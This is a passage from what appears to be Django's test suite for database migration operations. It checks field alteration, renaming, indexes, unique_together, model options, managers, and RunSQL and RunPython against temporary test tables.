        self.assertColumnNotNull("test_alfl_pony", "pink")
        # And deconstruction
        definition = operation.deconstruct()
        self.assertEqual(definition[0], "AlterField")
        self.assertEqual(definition[1], [])
        self.assertEqual(sorted(definition[2]), ["field", "model_name", "name"])

    def test_alter_field_pk(self):
        """
        Tests the AlterField operation on primary keys (for things like PostgreSQL's SERIAL weirdness)
        """
        project_state = self.set_up_test_model("test_alflpk")
        # Test the state alteration
        operation = migrations.AlterField("Pony", "id", models.IntegerField(primary_key=True))
        new_state = project_state.clone()
        operation.state_forwards("test_alflpk", new_state)
        self.assertIsInstance(project_state.models["test_alflpk", "pony"].get_field_by_name("id"), models.AutoField)
        self.assertIsInstance(new_state.models["test_alflpk", "pony"].get_field_by_name("id"), models.IntegerField)
        # Test the database alteration
        with connection.schema_editor() as editor:
            operation.database_forwards("test_alflpk", editor, project_state, new_state)
        # And test reversal
        with connection.schema_editor() as editor:
            operation.database_backwards("test_alflpk", editor, new_state, project_state)

    @skipUnlessDBFeature('supports_foreign_keys')
    def test_alter_field_pk_fk(self):
        """
        Tests the AlterField operation on primary keys changes any FKs pointing to it.
        """
        project_state = self.set_up_test_model("test_alflpkfk", related_model=True)
        # Test the state alteration
        operation = migrations.AlterField("Pony", "id", models.FloatField(primary_key=True))
        new_state = project_state.clone()
        operation.state_forwards("test_alflpkfk", new_state)
        self.assertIsInstance(project_state.models["test_alflpkfk", "pony"].get_field_by_name("id"), models.AutoField)
        self.assertIsInstance(new_state.models["test_alflpkfk", "pony"].get_field_by_name("id"), models.FloatField)

        def assertIdTypeEqualsFkType():
            with connection.cursor() as cursor:
                id_type, id_null = [
                    (c.type_code, c.null_ok)
                    for c in connection.introspection.get_table_description(cursor, "test_alflpkfk_pony")
                    if c.name == "id"
                ][0]
                fk_type, fk_null = [
                    (c.type_code, c.null_ok)
                    for c in connection.introspection.get_table_description(cursor, "test_alflpkfk_rider")
                    if c.name == "pony_id"
                ][0]
            self.assertEqual(id_type, fk_type)
            self.assertEqual(id_null, fk_null)

        assertIdTypeEqualsFkType()
        # Test the database alteration
        with connection.schema_editor() as editor:
            operation.database_forwards("test_alflpkfk", editor, project_state, new_state)
        assertIdTypeEqualsFkType()
        # And test reversal
        with connection.schema_editor() as editor:
            operation.database_backwards("test_alflpkfk", editor, new_state, project_state)
        assertIdTypeEqualsFkType()

    def test_rename_field(self):
        """
        Tests the RenameField operation.
        """
        project_state = self.set_up_test_model("test_rnfl", unique_together=True, index_together=True)
        # Test the state alteration
        operation = migrations.RenameField("Pony", "pink", "blue")
        self.assertEqual(operation.describe(), "Rename field pink on Pony to blue")
        new_state = project_state.clone()
        operation.state_forwards("test_rnfl", new_state)
        self.assertIn("blue", [n for n, f in new_state.models["test_rnfl", "pony"].fields])
        self.assertNotIn("pink", [n for n, f in new_state.models["test_rnfl", "pony"].fields])
        # Make sure the unique_together has the renamed column too
        self.assertIn("blue", new_state.models["test_rnfl", "pony"].options['unique_together'][0])
        self.assertNotIn("pink", new_state.models["test_rnfl", "pony"].options['unique_together'][0])
        # Make sure the index_together has the renamed column too
        self.assertIn("blue", new_state.models["test_rnfl", "pony"].options['index_together'][0])
        self.assertNotIn("pink", new_state.models["test_rnfl", "pony"].options['index_together'][0])
        # Test the database alteration
        self.assertColumnExists("test_rnfl_pony", "pink")
        self.assertColumnNotExists("test_rnfl_pony", "blue")
        with connection.schema_editor() as editor:
            operation.database_forwards("test_rnfl", editor, project_state, new_state)
        self.assertColumnExists("test_rnfl_pony", "blue")
        self.assertColumnNotExists("test_rnfl_pony", "pink")
        # Ensure the unique constraint has been ported over
        with connection.cursor() as cursor:
            cursor.execute("INSERT INTO test_rnfl_pony (blue, weight) VALUES (1, 1)")
            with self.assertRaises(IntegrityError):
                with atomic():
                    cursor.execute("INSERT INTO test_rnfl_pony (blue, weight) VALUES (1, 1)")
            cursor.execute("DELETE FROM test_rnfl_pony")
        # Ensure the index constraint has been ported over
        self.assertIndexExists("test_rnfl_pony", ["weight", "blue"])
        # And test reversal
        with connection.schema_editor() as editor:
            operation.database_backwards("test_rnfl", editor, new_state, project_state)
        self.assertColumnExists("test_rnfl_pony", "pink")
        self.assertColumnNotExists("test_rnfl_pony", "blue")
        # Ensure the index constraint has been reset
        self.assertIndexExists("test_rnfl_pony", ["weight", "pink"])
        # And deconstruction
        definition = operation.deconstruct()
        self.assertEqual(definition[0], "RenameField")
        self.assertEqual(definition[1], [])
        self.assertEqual(definition[2], {'model_name': "Pony", 'old_name': "pink", 'new_name': "blue"})

    def test_alter_unique_together(self):
        """
        Tests the AlterUniqueTogether operation.
        """
        project_state = self.set_up_test_model("test_alunto")
        # Test the state alteration
        operation = migrations.AlterUniqueTogether("Pony", [("pink", "weight")])
        self.assertEqual(operation.describe(), "Alter unique_together for Pony (1 constraint(s))")
        new_state = project_state.clone()
        operation.state_forwards("test_alunto", new_state)
        self.assertEqual(len(project_state.models["test_alunto", "pony"].options.get("unique_together", set())), 0)
        self.assertEqual(len(new_state.models["test_alunto", "pony"].options.get("unique_together", set())), 1)
        # Make sure we can insert duplicate rows
        with connection.cursor() as cursor:
            cursor.execute("INSERT INTO test_alunto_pony (pink, weight) VALUES (1, 1)")
            cursor.execute("INSERT INTO test_alunto_pony (pink, weight) VALUES (1, 1)")
            cursor.execute("DELETE FROM test_alunto_pony")
            # Test the database alteration
            with connection.schema_editor() as editor:
                operation.database_forwards("test_alunto", editor, project_state, new_state)
            cursor.execute("INSERT INTO test_alunto_pony (pink, weight) VALUES (1, 1)")
            with self.assertRaises(IntegrityError):
                with atomic():
                    cursor.execute("INSERT INTO test_alunto_pony (pink, weight) VALUES (1, 1)")
            cursor.execute("DELETE FROM test_alunto_pony")
            # And test reversal
            with connection.schema_editor() as editor:
                operation.database_backwards("test_alunto", editor, new_state, project_state)
            cursor.execute("INSERT INTO test_alunto_pony (pink, weight) VALUES (1, 1)")
            cursor.execute("INSERT INTO test_alunto_pony (pink, weight) VALUES (1, 1)")
            cursor.execute("DELETE FROM test_alunto_pony")
        # Test flat unique_together
        operation = migrations.AlterUniqueTogether("Pony", ("pink", "weight"))
        operation.state_forwards("test_alunto", new_state)
        self.assertEqual(len(new_state.models["test_alunto", "pony"].options.get("unique_together", set())), 1)
        # And deconstruction
        definition = operation.deconstruct()
        self.assertEqual(definition[0], "AlterUniqueTogether")
        self.assertEqual(definition[1], [])
        self.assertEqual(definition[2], {'name': "Pony", 'unique_together': {("pink", "weight")}})

    def test_alter_unique_together_remove(self):
        operation = migrations.AlterUniqueTogether("Pony", None)
        self.assertEqual(operation.describe(), "Alter unique_together for Pony (0 constraint(s))")

    def test_add_index(self):
        """
        Test the AddIndex operation.
        """
        project_state = self.set_up_test_model("test_adin")
        msg = (
            "Indexes passed to AddIndex operations require a name argument. "
            "<Index: fields='pink'> doesn't have one."
        )
        with self.assertRaisesMessage(ValueError, msg):
            migrations.AddIndex("Pony", models.Index(fields=["pink"]))
        index = models.Index(fields=["pink"], name="test_adin_pony_pink_idx")
        operation = migrations.AddIndex("Pony", index)
        self.assertEqual(operation.describe(), "Create index test_adin_pony_pink_idx on field(s) pink of model Pony")
        new_state = project_state.clone()
        operation.state_forwards("test_adin", new_state)
        # Test the database alteration
        self.assertEqual(len(new_state.models["test_adin", "pony"].options['indexes']), 1)
        self.assertIndexNotExists("test_adin_pony", ["pink"])
        with connection.schema_editor() as editor:
            operation.database_forwards("test_adin", editor, project_state, new_state)
        self.assertIndexExists("test_adin_pony", ["pink"])
        # And test reversal
        with connection.schema_editor() as editor:
            operation.database_backwards("test_adin", editor, new_state, project_state)
        self.assertIndexNotExists("test_adin_pony", ["pink"])
        # And deconstruction
        definition = operation.deconstruct()
        self.assertEqual(definition[0], "AddIndex")
        self.assertEqual(definition[1], [])
        self.assertEqual(definition[2], {'model_name': "Pony", 'index': index})

    def test_remove_index(self):
        """
        Test the RemoveIndex operation.
        """
        project_state = self.set_up_test_model("test_rmin", multicol_index=True)
        self.assertTableExists("test_rmin_pony")
        self.assertIndexExists("test_rmin_pony", ["pink", "weight"])
        operation = migrations.RemoveIndex("Pony", "pony_test_idx")
        self.assertEqual(operation.describe(), "Remove index pony_test_idx from Pony")
        new_state = project_state.clone()
        operation.state_forwards("test_rmin", new_state)
        # Test the state alteration
        self.assertEqual(len(new_state.models["test_rmin", "pony"].options['indexes']), 0)
        self.assertIndexExists("test_rmin_pony", ["pink", "weight"])
        # Test the database alteration
        with connection.schema_editor() as editor:
            operation.database_forwards("test_rmin", editor, project_state, new_state)
        self.assertIndexNotExists("test_rmin_pony", ["pink", "weight"])
        # And test reversal
        with connection.schema_editor() as editor:
            operation.database_backwards("test_rmin", editor, new_state, project_state)
        self.assertIndexExists("test_rmin_pony", ["pink", "weight"])
        # And deconstruction
        definition = operation.deconstruct()
        self.assertEqual(definition[0], "RemoveIndex")
        self.assertEqual(definition[1], [])
        self.assertEqual(definition[2], {'model_name': "Pony", 'name': "pony_test_idx"})

        # Also test a field dropped with index - sqlite remake issue
        operations = [
            migrations.RemoveIndex("Pony", "pony_test_idx"),
            migrations.RemoveField("Pony", "pink"),
        ]
        self.assertColumnExists("test_rmin_pony", "pink")
        self.assertIndexExists("test_rmin_pony", ["pink", "weight"])
        # Test database alteration
        new_state = project_state.clone()
        self.apply_operations('test_rmin', new_state, operations=operations)
        self.assertColumnNotExists("test_rmin_pony", "pink")
        self.assertIndexNotExists("test_rmin_pony", ["pink", "weight"])
        # And test reversal
        self.unapply_operations("test_rmin", project_state, operations=operations)
        self.assertIndexExists("test_rmin_pony", ["pink", "weight"])

    def test_alter_field_with_index(self):
        """
        Test AlterField operation with an index to ensure indexes created via
        Meta.indexes don't get dropped with sqlite3 remake.
        """
        project_state = self.set_up_test_model("test_alflin", index=True)
        operation = migrations.AlterField("Pony", "pink", models.IntegerField(null=True))
        new_state = project_state.clone()
        operation.state_forwards("test_alflin", new_state)
        # Test the database alteration
        self.assertColumnNotNull("test_alflin_pony", "pink")
        with connection.schema_editor() as editor:
            operation.database_forwards("test_alflin", editor, project_state, new_state)
        # Ensure that index hasn't been dropped
        self.assertIndexExists("test_alflin_pony", ["pink"])
        # And test reversal
        with connection.schema_editor() as editor:
            operation.database_backwards("test_alflin", editor, new_state, project_state)
        # Ensure the index is still there
        self.assertIndexExists("test_alflin_pony", ["pink"])

    def test_alter_index_together(self):
        """
        Tests the AlterIndexTogether operation.
        """
        project_state = self.set_up_test_model("test_alinto")
        # Test the state alteration
        operation = migrations.AlterIndexTogether("Pony", [("pink", "weight")])
        self.assertEqual(operation.describe(), "Alter index_together for Pony (1 constraint(s))")
        new_state = project_state.clone()
        operation.state_forwards("test_alinto", new_state)
        self.assertEqual(len(project_state.models["test_alinto", "pony"].options.get("index_together", set())), 0)
        self.assertEqual(len(new_state.models["test_alinto", "pony"].options.get("index_together", set())), 1)
        # Make sure there's no matching index
        self.assertIndexNotExists("test_alinto_pony", ["pink", "weight"])
        # Test the database alteration
        with connection.schema_editor() as editor:
            operation.database_forwards("test_alinto", editor, project_state, new_state)
        self.assertIndexExists("test_alinto_pony", ["pink", "weight"])
        # And test reversal
        with connection.schema_editor() as editor:
            operation.database_backwards("test_alinto", editor, new_state, project_state)
        self.assertIndexNotExists("test_alinto_pony", ["pink", "weight"])
        # And deconstruction
        definition = operation.deconstruct()
        self.assertEqual(definition[0], "AlterIndexTogether")
        self.assertEqual(definition[1], [])
        self.assertEqual(definition[2], {'name': "Pony", 'index_together': {("pink", "weight")}})

    def test_alter_index_together_remove(self):
        operation = migrations.AlterIndexTogether("Pony", None)
        self.assertEqual(operation.describe(), "Alter index_together for Pony (0 constraint(s))")

    def test_alter_model_options(self):
        """
        Tests the AlterModelOptions operation.
        """
        project_state = self.set_up_test_model("test_almoop")
        # Test the state alteration (no DB alteration to test)
        operation = migrations.AlterModelOptions("Pony", {"permissions": [("can_groom", "Can groom")]})
        self.assertEqual(operation.describe(), "Change Meta options on Pony")
        new_state = project_state.clone()
        operation.state_forwards("test_almoop", new_state)
        self.assertEqual(len(project_state.models["test_almoop", "pony"].options.get("permissions", [])), 0)
        self.assertEqual(len(new_state.models["test_almoop", "pony"].options.get("permissions", [])), 1)
        self.assertEqual(new_state.models["test_almoop", "pony"].options["permissions"][0][0], "can_groom")
        # And deconstruction
        definition = operation.deconstruct()
        self.assertEqual(definition[0], "AlterModelOptions")
        self.assertEqual(definition[1], [])
        self.assertEqual(definition[2], {'name': "Pony", 'options': {"permissions": [("can_groom", "Can groom")]}})

    def test_alter_model_options_emptying(self):
        """
        Tests that the AlterModelOptions operation removes keys from the dict (#23121)
        """
        project_state = self.set_up_test_model("test_almoop", options=True)
        # Test the state alteration (no DB alteration to test)
        operation = migrations.AlterModelOptions("Pony", {})
        self.assertEqual(operation.describe(), "Change Meta options on Pony")
        new_state = project_state.clone()
        operation.state_forwards("test_almoop", new_state)
        self.assertEqual(len(project_state.models["test_almoop", "pony"].options.get("permissions", [])), 1)
        self.assertEqual(len(new_state.models["test_almoop", "pony"].options.get("permissions", [])), 0)
        # And deconstruction
        definition = operation.deconstruct()
        self.assertEqual(definition[0], "AlterModelOptions")
        self.assertEqual(definition[1], [])
        self.assertEqual(definition[2], {'name': "Pony", 'options': {}})

    def test_alter_order_with_respect_to(self):
        """
        Tests the AlterOrderWithRespectTo operation.
        """
        project_state = self.set_up_test_model("test_alorwrtto", related_model=True)
        # Test the state alteration
        operation = migrations.AlterOrderWithRespectTo("Rider", "pony")
        self.assertEqual(operation.describe(), "Set order_with_respect_to on Rider to pony")
        new_state = project_state.clone()
        operation.state_forwards("test_alorwrtto", new_state)
        self.assertIsNone(
            project_state.models["test_alorwrtto", "rider"].options.get("order_with_respect_to", None)
        )
        self.assertEqual(
            new_state.models["test_alorwrtto", "rider"].options.get("order_with_respect_to", None),
            "pony"
        )
        # Make sure there's no matching index
        self.assertColumnNotExists("test_alorwrtto_rider", "_order")
        # Create some rows before alteration
        rendered_state = project_state.apps
        pony = rendered_state.get_model("test_alorwrtto", "Pony").objects.create(weight=50)
        rendered_state.get_model("test_alorwrtto", "Rider").objects.create(pony=pony, friend_id=1)
        rendered_state.get_model("test_alorwrtto", "Rider").objects.create(pony=pony, friend_id=2)
        # Test the database alteration
        with connection.schema_editor() as editor:
            operation.database_forwards("test_alorwrtto", editor, project_state, new_state)
        self.assertColumnExists("test_alorwrtto_rider", "_order")
        # Check for correct value in rows
        updated_riders = new_state.apps.get_model("test_alorwrtto", "Rider").objects.all()
        self.assertEqual(updated_riders[0]._order, 0)
        self.assertEqual(updated_riders[1]._order, 0)
        # And test reversal
        with connection.schema_editor() as editor:
            operation.database_backwards("test_alorwrtto", editor, new_state, project_state)
        self.assertColumnNotExists("test_alorwrtto_rider", "_order")
        # And deconstruction
        definition = operation.deconstruct()
        self.assertEqual(definition[0], "AlterOrderWithRespectTo")
        self.assertEqual(definition[1], [])
        self.assertEqual(definition[2], {'name': "Rider", 'order_with_respect_to': "pony"})

    def test_alter_model_managers(self):
        """
        Tests that the managers on a model are set.
        """
        project_state = self.set_up_test_model("test_almoma")
        # Test the state alteration
        operation = migrations.AlterModelManagers(
            "Pony",
            managers=[
                ("food_qs", FoodQuerySet.as_manager()),
                ("food_mgr", FoodManager("a", "b")),
                ("food_mgr_kwargs", FoodManager("x", "y", 3, 4)),
            ]
        )
        self.assertEqual(operation.describe(), "Change managers on Pony")
        managers = project_state.models["test_almoma", "pony"].managers
        self.assertEqual(managers, [])

        new_state = project_state.clone()
        operation.state_forwards("test_almoma", new_state)
        self.assertIn(("test_almoma", "pony"), new_state.models)
        managers = new_state.models["test_almoma", "pony"].managers
        self.assertEqual(managers[0][0], "food_qs")
        self.assertIsInstance(managers[0][1], models.Manager)
        self.assertEqual(managers[1][0], "food_mgr")
        self.assertIsInstance(managers[1][1], FoodManager)
        self.assertEqual(managers[1][1].args, ("a", "b", 1, 2))
        self.assertEqual(managers[2][0], "food_mgr_kwargs")
        self.assertIsInstance(managers[2][1], FoodManager)
        self.assertEqual(managers[2][1].args, ("x", "y", 3, 4))
        rendered_state = new_state.apps
        model = rendered_state.get_model('test_almoma', 'pony')
        self.assertIsInstance(model.food_qs, models.Manager)
        self.assertIsInstance(model.food_mgr, FoodManager)
        self.assertIsInstance(model.food_mgr_kwargs, FoodManager)

    def test_alter_model_managers_emptying(self):
        """
        Tests that the managers on a model are set.
        """
        project_state = self.set_up_test_model("test_almomae", manager_model=True)
        # Test the state alteration
        operation = migrations.AlterModelManagers("Food", managers=[])
        self.assertEqual(operation.describe(), "Change managers on Food")
        self.assertIn(("test_almomae", "food"), project_state.models)
        managers = project_state.models["test_almomae", "food"].managers
        self.assertEqual(managers[0][0], "food_qs")
        self.assertIsInstance(managers[0][1], models.Manager)
        self.assertEqual(managers[1][0], "food_mgr")
        self.assertIsInstance(managers[1][1], FoodManager)
        self.assertEqual(managers[1][1].args, ("a", "b", 1, 2))
        self.assertEqual(managers[2][0], "food_mgr_kwargs")
        self.assertIsInstance(managers[2][1], FoodManager)
        self.assertEqual(managers[2][1].args, ("x", "y", 3, 4))

        new_state = project_state.clone()
        operation.state_forwards("test_almomae", new_state)
        managers = new_state.models["test_almomae", "food"].managers
        self.assertEqual(managers, [])

    def test_alter_fk(self):
        """
        Tests that creating and then altering an FK works correctly
        and deals with the pending SQL (#23091)
        """
        project_state = self.set_up_test_model("test_alfk")
        # Test adding and then altering the FK in one go
        create_operation = migrations.CreateModel(
            name="Rider",
            fields=[
                ("id", models.AutoField(primary_key=True)),
                ("pony", models.ForeignKey("Pony", models.CASCADE)),
            ],
        )
        create_state = project_state.clone()
        create_operation.state_forwards("test_alfk", create_state)
        alter_operation = migrations.AlterField(
            model_name='Rider',
            name='pony',
            field=models.ForeignKey("Pony", models.CASCADE, editable=False),
        )
        alter_state = create_state.clone()
        alter_operation.state_forwards("test_alfk", alter_state)
        with connection.schema_editor() as editor:
            create_operation.database_forwards("test_alfk", editor, project_state, create_state)
            alter_operation.database_forwards("test_alfk", editor, create_state, alter_state)

    def test_alter_fk_non_fk(self):
        """
        Tests that altering an FK to a non-FK works (#23244)
        """
        # Test the state alteration
        operation = migrations.AlterField(
            model_name="Rider",
            name="pony",
            field=models.FloatField(),
        )
        project_state, new_state = self.make_test_state("test_afknfk", operation, related_model=True)
        # Test the database alteration
        self.assertColumnExists("test_afknfk_rider", "pony_id")
        self.assertColumnNotExists("test_afknfk_rider", "pony")
        with connection.schema_editor() as editor:
            operation.database_forwards("test_afknfk", editor, project_state, new_state)
        self.assertColumnExists("test_afknfk_rider", "pony")
        self.assertColumnNotExists("test_afknfk_rider", "pony_id")
        # And test reversal
        with connection.schema_editor() as editor:
            operation.database_backwards("test_afknfk", editor, new_state, project_state)
        self.assertColumnExists("test_afknfk_rider", "pony_id")
        self.assertColumnNotExists("test_afknfk_rider", "pony")

    @unittest.skipIf(sqlparse is None and connection.features.requires_sqlparse_for_splitting, "Missing sqlparse")
    def test_run_sql(self):
        """
        Tests the RunSQL operation.
        """
        project_state = self.set_up_test_model("test_runsql")
        # Create the operation
        operation = migrations.RunSQL(
            # Use a multi-line string with a comment to test splitting on SQLite and MySQL respectively
            "CREATE TABLE i_love_ponies (id int, special_thing varchar(15));\n"
            "INSERT INTO i_love_ponies (id, special_thing) VALUES (1, 'i love ponies'); -- this is magic!\n"
            "INSERT INTO i_love_ponies (id, special_thing) VALUES (2, 'i love django');\n"
            "UPDATE i_love_ponies SET special_thing = 'Ponies' WHERE special_thing LIKE '%%ponies';"
            "UPDATE i_love_ponies SET special_thing = 'Django' WHERE special_thing LIKE '%django';",

            # Run delete queries to test for parameter substitution failure
            # reported in #23426
            "DELETE FROM i_love_ponies WHERE special_thing LIKE '%Django%';"
            "DELETE FROM i_love_ponies WHERE special_thing LIKE '%%Ponies%%';"
            "DROP TABLE i_love_ponies",

            state_operations=[migrations.CreateModel("SomethingElse", [("id", models.AutoField(primary_key=True))])],
        )
        self.assertEqual(operation.describe(), "Raw SQL operation")
        # Test the state alteration
        new_state = project_state.clone()
        operation.state_forwards("test_runsql", new_state)
        self.assertEqual(len(new_state.models["test_runsql", "somethingelse"].fields), 1)
        # Make sure there's no table
        self.assertTableNotExists("i_love_ponies")
        # Test SQL collection
        with connection.schema_editor(collect_sql=True) as editor:
            operation.database_forwards("test_runsql", editor, project_state, new_state)
            self.assertIn("LIKE '%%ponies';", "\n".join(editor.collected_sql))
            operation.database_backwards("test_runsql", editor, project_state, new_state)
            self.assertIn("LIKE '%%Ponies%%';", "\n".join(editor.collected_sql))
        # Test the database alteration
        with connection.schema_editor() as editor:
            operation.database_forwards("test_runsql", editor, project_state, new_state)
        self.assertTableExists("i_love_ponies")
        # Make sure all the SQL was processed
        with connection.cursor() as cursor:
            cursor.execute("SELECT COUNT(*) FROM i_love_ponies")
            self.assertEqual(cursor.fetchall()[0][0], 2)
            cursor.execute("SELECT COUNT(*) FROM i_love_ponies WHERE special_thing = 'Django'")
            self.assertEqual(cursor.fetchall()[0][0], 1)
            cursor.execute("SELECT COUNT(*) FROM i_love_ponies WHERE special_thing = 'Ponies'")
            self.assertEqual(cursor.fetchall()[0][0], 1)
        # And test reversal
        self.assertTrue(operation.reversible)
        with connection.schema_editor() as editor:
            operation.database_backwards("test_runsql", editor, new_state, project_state)
        self.assertTableNotExists("i_love_ponies")
        # And deconstruction
        definition = operation.deconstruct()
        self.assertEqual(definition[0], "RunSQL")
        self.assertEqual(definition[1], [])
        self.assertEqual(sorted(definition[2]), ["reverse_sql", "sql", "state_operations"])
        # And elidable reduction
        self.assertIs(False, operation.reduce(operation, []))
        elidable_operation = migrations.RunSQL('SELECT 1 FROM void;', elidable=True)
        self.assertEqual(elidable_operation.reduce(operation, []), [operation])

    def test_run_sql_params(self):
        """
        #23426 - RunSQL should accept parameters.
        """
        project_state = self.set_up_test_model("test_runsql")
        # Create the operation
        operation = migrations.RunSQL(
            ["CREATE TABLE i_love_ponies (id int, special_thing varchar(15));"],
            ["DROP TABLE i_love_ponies"],
        )
        param_operation = migrations.RunSQL(
            # forwards
            (
                "INSERT INTO i_love_ponies (id, special_thing) VALUES (1, 'Django');",
                ["INSERT INTO i_love_ponies (id, special_thing) VALUES (2, %s);", ['Ponies']],
                ("INSERT INTO i_love_ponies (id, special_thing) VALUES (%s, %s);", (3, 'Python',)),
            ),
            # backwards
            [
                "DELETE FROM i_love_ponies WHERE special_thing = 'Django';",
                ["DELETE FROM i_love_ponies WHERE special_thing = 'Ponies';", None],
                ("DELETE FROM i_love_ponies WHERE id = %s OR special_thing = %s;", [3, 'Python']),
            ]
        )

        # Make sure there's no table
        self.assertTableNotExists("i_love_ponies")
        new_state = project_state.clone()
        # Test the database alteration
        with connection.schema_editor() as editor:
            operation.database_forwards("test_runsql", editor, project_state, new_state)

        # Test parameter passing
        with connection.schema_editor() as editor:
            param_operation.database_forwards("test_runsql", editor, project_state, new_state)
        # Make sure all the SQL was processed
        with connection.cursor() as cursor:
            cursor.execute("SELECT COUNT(*) FROM i_love_ponies")
            self.assertEqual(cursor.fetchall()[0][0], 3)

        with connection.schema_editor() as editor:
            param_operation.database_backwards("test_runsql", editor, new_state, project_state)
        with connection.cursor() as cursor:
            cursor.execute("SELECT COUNT(*) FROM i_love_ponies")
            self.assertEqual(cursor.fetchall()[0][0], 0)

        # And test reversal
        with connection.schema_editor() as editor:
            operation.database_backwards("test_runsql", editor, new_state, project_state)
        self.assertTableNotExists("i_love_ponies")

    def test_run_sql_params_invalid(self):
        """
        #23426 - RunSQL should fail when a list of statements with an incorrect
        number of tuples is given.
        """
        project_state = self.set_up_test_model("test_runsql")
        new_state = project_state.clone()
        operation = migrations.RunSQL(
            # forwards
            [
                ["INSERT INTO foo (bar) VALUES ('buz');"]
            ],
            # backwards
            (
                ("DELETE FROM foo WHERE bar = 'buz';", 'invalid', 'parameter count'),
            ),
        )

        with connection.schema_editor() as editor:
            with self.assertRaisesMessage(ValueError, "Expected a 2-tuple but got 1"):
                operation.database_forwards("test_runsql", editor, project_state, new_state)

        with connection.schema_editor() as editor:
            with self.assertRaisesMessage(ValueError, "Expected a 2-tuple but got 3"):
                operation.database_backwards("test_runsql", editor, new_state, project_state)

    def test_run_sql_noop(self):
        """
        #24098 - Tests no-op RunSQL operations.
        """
        operation = migrations.RunSQL(migrations.RunSQL.noop, migrations.RunSQL.noop)
        with connection.schema_editor() as editor:
            operation.database_forwards("test_runsql", editor, None, None)
            operation.database_backwards("test_runsql", editor, None, None)

    def test_run_python(self):
        """
        Tests the RunPython operation
        """

        project_state = self.set_up_test_model("test_runpython", mti_model=True)

        # Create the operation
        def inner_method(models, schema_editor):
            Pony = models.get_model("test_runpython", "Pony")
            Pony.objects.create(pink=1, weight=3.55)
            Pony.objects.create(weight=5)

        def inner_method_reverse(models, schema_editor):
            Pony = models.get_model("test_runpython", "Pony")
            Pony.objects.filter(pink=1, weight=3.55).delete()
            Pony.objects.filter(weight=5).delete()
        operation = migrations.RunPython(inner_method, reverse_code=inner_method_reverse)
        self.assertEqual(operation.describe(), "Raw Python operation")
        # Test the state alteration does nothing
        new_state = project_state.clone()
        operation.state_forwards("test_runpython", new_state)
        self.assertEqual(new_state, project_state)
        # Test the database alteration
        self.assertEqual(project_state.apps.get_model("test_runpython", "Pony").objects.count(), 0)
        with connection.schema_editor() as editor:
            operation.database_forwards("test_runpython", editor, project_state, new_state)
        self.assertEqual(project_state.apps.get_model("test_runpython", "Pony").objects.count(), 2)
        # Now test reversal
        self.assertTrue(operation.reversible)
        with connection.schema_editor() as editor:
            operation.database_backwards("test_runpython", editor, project_state, new_state)
        self.assertEqual(project_state.apps.get_model("test_runpython", "Pony").objects.count(), 0)
        # Now test we can't use a string
        with self.assertRaises(ValueError):
            migrations.RunPython("print 'ahahaha'")
        # And deconstruction
        definition = operation.deconstruct()
        self.assertEqual(definition[0], "RunPython")
        self.assertEqual(definition[1], [])
        self.assertEqual(sorted(definition[2]), ["code", "reverse_code"])

        # Also test reversal fails, with an operation identical to above but without reverse_code set
        no_reverse_operation = migrations.RunPython(inner_method)
        self.assertFalse(no_reverse_operation.reversible)
        with connection.schema_editor() as editor:
            no_reverse_operation.database_forwards("test_runpython", editor, project_state, new_state)
            with self.assertRaises(NotImplementedError):
                no_reverse_operation.database_backwards("test_runpython", editor, new_state, project_state)
        self.assertEqual(project_state.apps.get_model("test_runpython", "Pony").objects.count(), 2)

        def create_ponies(models, schema_editor):
            Pony = models.get_model("test_runpython", "Pony")
            pony1 = Pony.objects.create(pink=1, weight=3.55)
            self.assertIsNot(pony1.pk, None)
            pony2 = Pony.objects.create(weight=5)
            self.assertIsNot(pony2.pk, None)
            self.assertNotEqual(pony1.pk, pony2.pk)

        operation = migrations.RunPython(create_ponies)
        with connection.schema_editor() as editor:
            operation.database_forwards("test_runpython", editor, project_state, new_state)
        self.assertEqual(project_state.apps.get_model("test_runpython", "Pony").objects.count(), 4)
        # And deconstruction
        definition = operation.deconstruct()
        self.assertEqual(definition[0], "RunPython")
        self.assertEqual(definition[1], [])
        self.assertEqual(sorted(definition[2]), ["code"])

        def create_shetlandponies(models, schema_editor):
            ShetlandPony = models.get_model("test_runpython", "ShetlandPony")
            pony1 = ShetlandPony.objects.create(weight=4.0)
            self.assertIsNot(pony1.pk, None)
            pony2 = ShetlandPony.objects.create(weight=5.0)
            self.assertIsNot(pony2.pk, None)
            self.assertNotEqual(pony1.pk, pony2.pk)

        operation = migrations.RunPython(create_shetlandponies)
        with connection.schema_editor() as editor:
            operation.database_forwards("test_runpython", editor, project_state, new_state)
        self.assertEqual(project_state.apps.get_model("test_runpython", "Pony").objects.count(), 6)
        self.assertEqual(project_state.apps.get_model("test_runpython", "ShetlandPony").objects.count(), 2)
        # And elidable reduction
        self.assertIs(False, operation.reduce(operation, []))
        elidable_operation = migrations.RunPython(inner_method, elidable=True)
        self.assertEqual(elidable_operation.reduce(operation, []), [operation])

    def test_run_python_atomic(self):
        """
        Tests the RunPython operation correctly handles the "atomic" keyword
        """
        project_state = self.set_up_test_model("test_runpythonatomic", mti_model=True)

        def inner_method(models, schema_editor):
            Pony = models.get_model("test_runpythonatomic", "Pony")
            Pony.objects.create(pink=1, weight=3.55)
            raise ValueError("Adrian hates ponies.")

        atomic_migration = Migration("test", "test_runpythonatomic")
        atomic_migration.operations = [migrations.RunPython(inner_method)]
        non_atomic_migration = Migration("test", "test_runpythonatomic")
        non_atomic_migration.operations = [migrations.RunPython(inner_method, atomic=False)]
        # If we're a fully-transactional database, both versions should rollback
        if connection.features.can_rollback_ddl:
            self.assertEqual(project_state.apps.get_model("test_runpythonatomic", "Pony").objects.count(), 0)
            with self.assertRaises(ValueError):
                with connection.schema_editor() as editor:
                    atomic_migration.apply(project_state, editor)
            self.assertEqual(project_state.apps.get_model("test_runpythonatomic", "Pony").objects.count(), 0)
            with self.assertRaises(ValueError):
                with connection.schema_editor() as editor:
                    non_atomic_migration.apply(project_state, editor)
            self.assertEqual(project_state.apps.get_model("test_runpythonatomic", "Pony").objects.count(), 0)
        # Otherwise, the non-atomic operation should leave a row there
        else:
            self.assertEqual(project_state.apps.get_model("test_runpythonatomic", "Pony").objects.count(), 0)
            with self.assertRaises(ValueError):
                with connection.schema_editor() as editor:
                    atomic_migration.apply(project_state, editor)
            self.assertEqual(project_state.apps.get_model("test_runpythonatomic", "Pony").objects.count(), 0)
            with self.assertRaises(ValueError):
                with connection.schema_editor() as editor:
                    non_atomic_migration.apply(project_state, editor)
            self.assertEqual(project_state.apps.get_model("test_runpythonatomic", "Pony").objects.count(), 1)
        # And deconstruction
        definition = non_atomic_migration.operations[0].deconstruct()
        self.assertEqual(definition[0], "RunPython")
        self.assertEqual(definition[1], [])
